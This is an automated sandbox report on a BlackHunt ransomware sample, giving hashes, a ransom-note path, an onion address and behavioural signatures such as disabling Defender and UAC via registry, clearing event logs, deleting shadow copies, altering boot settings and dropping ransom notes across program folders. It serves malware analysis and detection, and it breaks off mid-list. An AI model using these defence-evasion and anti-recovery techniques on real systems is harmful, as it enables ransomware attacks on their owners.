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Analysis
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max time kernel
168s -
max time network
180s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
19/01/2024, 01:08
Static task
static1
Behavioral task
behavioral1
Sample
dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe
Resource
win10v2004-20231215-en
General
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Target
dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe
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Size
707KB
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MD5
ffdb0341e5f796c6ec94c4f8affb170c
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SHA1
e4758bbd9fae8c74f56d2c01ec43ec601efcd5b0
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SHA256
dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92
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SHA512
611303d5d5e78332efb4cbc530c48edbf63e7b7d89891846050f0a3642b8b410719ac5a4a5af984fad447302bea2e4f6ad5356b17ffc2643fcbfc64f9ab440db
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SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1u8rvnh:6uaTmkZJ+naie5OTamgEoKxLWN7h
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 388 fsutil.exe 3976 fsutil.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 6428 wevtutil.exe 6396 wevtutil.exe 6512 wevtutil.exe 6680 wevtutil.exe 6704 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 5276 bcdedit.exe 688 bcdedit.exe 6740 bcdedit.exe 2604 bcdedit.exe -
Renames multiple (852) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 1584 wbadmin.exe 3660 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\Control Panel\International\Geo\Nation dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe Key value queried \REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\Control Panel\International\Geo\Nation cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" wbadmin.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Y: dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened (read-only) \??\P: dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened (read-only) \??\H: dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\U: dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened (read-only) \??\J: dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened (read-only) \??\K: dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened (read-only) \??\V: dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened (read-only) \??\E: dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened (read-only) \??\Z: dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\O: dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened (read-only) \??\A: dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened (read-only) \??\X: dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened (read-only) \??\B: dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened (read-only) \??\N: dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened (read-only) \??\M: dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened (read-only) \??\L: dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened (read-only) \??\R: dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened (read-only) \??\T: dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened (read-only) \??\I: dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened (read-only) \??\S: dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened (read-only) \??\Q: dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened (read-only) \??\W: dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened (read-only) \??\G: dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 5 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files\VideoLAN\VLC\locale\fr\#BlackHunt_ReadMe.txt dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files\VideoLAN\VLC\locale\ml\#BlackHunt_ReadMe.txt dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\uk-ua\#BlackHunt_Private.key dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\nb-no\#BlackHunt_ReadMe.hta dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\xerces.md dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\fonts\LucidaBrightRegular.ttf dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\jdk\relaxngom.md dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files\VideoLAN\VLC\locale\ks_IN\#BlackHunt_ReadMe.hta dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\libs\#BlackHunt_ReadMe.hta dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files\Java\#BlackHunt_Private.key dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\javafx\libxml2.md dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files\VideoLAN\VLC\locale\nl\#BlackHunt_Private.key dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\cef_200_percent.pak dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\nb-no\#BlackHunt_ReadMe.txt dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files\VideoLAN\VLC\locale\cgg\#BlackHunt_ReadMe.txt dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\mn\LC_MESSAGES\vlc.mo dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files\VideoLAN\VLC\locale\my\LC_MESSAGES\#BlackHunt_Private.key dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ja-jp\#BlackHunt_Private.key dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\jdk\unicode.md dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files\VideoLAN\VLC\locale\ff\LC_MESSAGES\#BlackHunt_ReadMe.hta dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files\VideoLAN\VLC\locale\ta\#BlackHunt_ReadMe.txt dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\tr\LC_MESSAGES\vlc.mo dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\#BlackHunt_ReadMe.txt dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\cs-cz\#BlackHunt_ReadMe.txt dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files\VideoLAN\VLC\locale\id\#BlackHunt_Private.key dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files\VideoLAN\VLC\locale\pl\#BlackHunt_ReadMe.hta dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\mobile.html dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files\VideoLAN\VLC\plugins\audio_filter\#BlackHunt_ReadMe.hta dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\dailymotion.luac dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\newgrounds.luac dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\#BlackHunt_ReadMe.hta dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\de-de\#BlackHunt_ReadMe.txt dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\fontconfig.bfc dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\jdk\mesa3d.md dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\en-gb\#BlackHunt_Private.key dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files\VideoLAN\VLC\locale\da\#BlackHunt_ReadMe.hta dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\sk\LC_MESSAGES\vlc.mo dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened for modification C:\Program Files\LimitComplete.wmv dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\#BlackHunt_ReadMe.txt dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\sd\jamendo.luac dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\MoreTools.aapp dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\ext\sunmscapi.jar dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files\VideoLAN\VLC\locale\pt_PT\#BlackHunt_ReadMe.hta dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\UnifiedShare.aapp dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ro-ro\#BlackHunt_ReadMe.txt dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\sk-sk\#BlackHunt_Private.key dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\fr-ma\#BlackHunt_Private.key dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files\Uninstall Information\#BlackHunt_Private.key dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files\VideoLAN\VLC\locale\fur\#BlackHunt_ReadMe.txt dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files\VideoLAN\VLC\locale\gd\LC_MESSAGES\#BlackHunt_Private.key dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files\VideoLAN\VLC\locale\wa\LC_MESSAGES\#BlackHunt_Private.key dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\en-ae\#BlackHunt_Private.key dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\eu-es\#BlackHunt_ReadMe.txt dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\lcms.md dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\#BlackHunt_ReadMe.txt dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files\VideoLAN\VLC\plugins\services_discovery\#BlackHunt_ReadMe.txt dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files\VideoLAN\VLC\locale\ca\LC_MESSAGES\#BlackHunt_Private.key dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files\VideoLAN\VLC\lua\http\css\#BlackHunt_ReadMe.hta dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\cldr.md dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files\VideoLAN\VLC\locale\uk\#BlackHunt_Private.key dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\pl-pl\#BlackHunt_Private.key dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files\Java\jdk-1.8\bin\#BlackHunt_Private.key dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\cmm\CIEXYZ.pf dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\tr-tr\#BlackHunt_ReadMe.hta dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 vds.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4512 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 376 vssadmin.exe 4492 vssadmin.exe 728 vssadmin.exe 2308 vssadmin.exe 644 vssadmin.exe 1172 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 6624 taskkill.exe -
Modifies registry class 11 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Key created \REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000_Classes\Local Settings cmd.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ schtasks.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 schtasks.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 5992 PING.EXE -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe Token: SeRestorePrivilege 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe Token: SeBackupPrivilege 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe Token: SeTakeOwnershipPrivilege 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe Token: SeAuditPrivilege 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe Token: SeSecurityPrivilege 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe Token: SeIncBasePriorityPrivilege 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe Token: SeBackupPrivilege 4804 vssvc.exe Token: SeRestorePrivilege 4804 vssvc.exe Token: SeAuditPrivilege 4804 vssvc.exe Token: SeBackupPrivilege 5344 wbengine.exe Token: SeRestorePrivilege 5344 wbengine.exe Token: SeSecurityPrivilege 5344 wbengine.exe Token: SeSecurityPrivilege 6428 wevtutil.exe Token: SeBackupPrivilege 6428 wevtutil.exe Token: SeSecurityPrivilege 6396 wevtutil.exe Token: SeBackupPrivilege 6396 wevtutil.exe Token: SeSecurityPrivilege 6512 wevtutil.exe Token: SeBackupPrivilege 6512 wevtutil.exe Token: SeSecurityPrivilege 6680 wevtutil.exe Token: SeBackupPrivilege 6680 wevtutil.exe Token: SeSecurityPrivilege 6704 wevtutil.exe Token: SeBackupPrivilege 6704 wevtutil.exe Token: SeDebugPrivilege 6624 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 5032 wrote to memory of 3836 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 91 PID 5032 wrote to memory of 3836 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 91 PID 5032 wrote to memory of 3644 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 93 PID 5032 wrote to memory of 3644 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 93 PID 5032 wrote to memory of 1120 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 191 PID 5032 wrote to memory of 1120 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 191 PID 5032 wrote to memory of 2308 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 97 PID 5032 wrote to memory of 2308 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 97 PID 5032 wrote to memory of 2960 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 99 PID 5032 wrote to memory of 2960 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 99 PID 3836 wrote to memory of 4512 3836 cmd.exe 179 PID 3836 wrote to memory of 4512 3836 cmd.exe 179 PID 2960 wrote to memory of 1584 2960 cmd.exe 119 PID 2960 wrote to memory of 1584 2960 cmd.exe 119 PID 2308 wrote to memory of 3752 2308 cmd.exe 164 PID 2308 wrote to memory of 3752 2308 cmd.exe 164 PID 3644 wrote to memory of 1808 3644 cmd.exe 120 PID 3644 wrote to memory of 1808 3644 cmd.exe 120 PID 1120 wrote to memory of 4936 1120 cmd.exe 109 PID 1120 wrote to memory of 4936 1120 cmd.exe 109 PID 5032 wrote to memory of 5064 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 108 PID 5032 wrote to memory of 5064 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 108 PID 5032 wrote to memory of 1376 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 188 PID 5032 wrote to memory of 1376 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 188 PID 5032 wrote to memory of 1924 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 106 PID 5032 wrote to memory of 1924 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 106 PID 5032 wrote to memory of 4024 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 112 PID 5032 wrote to memory of 4024 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 112 PID 5032 wrote to memory of 3436 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 111 PID 5032 wrote to memory of 3436 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 111 PID 5032 wrote to memory of 4996 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 116 PID 5032 wrote to memory of 4996 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 116 PID 5032 wrote to memory of 380 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 184 PID 5032 wrote to memory of 380 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 184 PID 5032 wrote to memory of 2848 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 128 PID 5032 wrote to memory of 2848 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 128 PID 5032 wrote to memory of 1016 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 122 PID 5032 wrote to memory of 1016 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 122 PID 5032 wrote to memory of 4988 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 127 PID 5032 wrote to memory of 4988 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 127 PID 5032 wrote to memory of 4132 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 124 PID 5032 wrote to memory of 4132 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 124 PID 5032 wrote to memory of 392 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 129 PID 5032 wrote to memory of 392 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 129 PID 5032 wrote to memory of 3024 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 130 PID 5032 wrote to memory of 3024 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 130 PID 5032 wrote to memory of 4724 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 132 PID 5032 wrote to memory of 4724 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 132 PID 5032 wrote to memory of 1636 5032 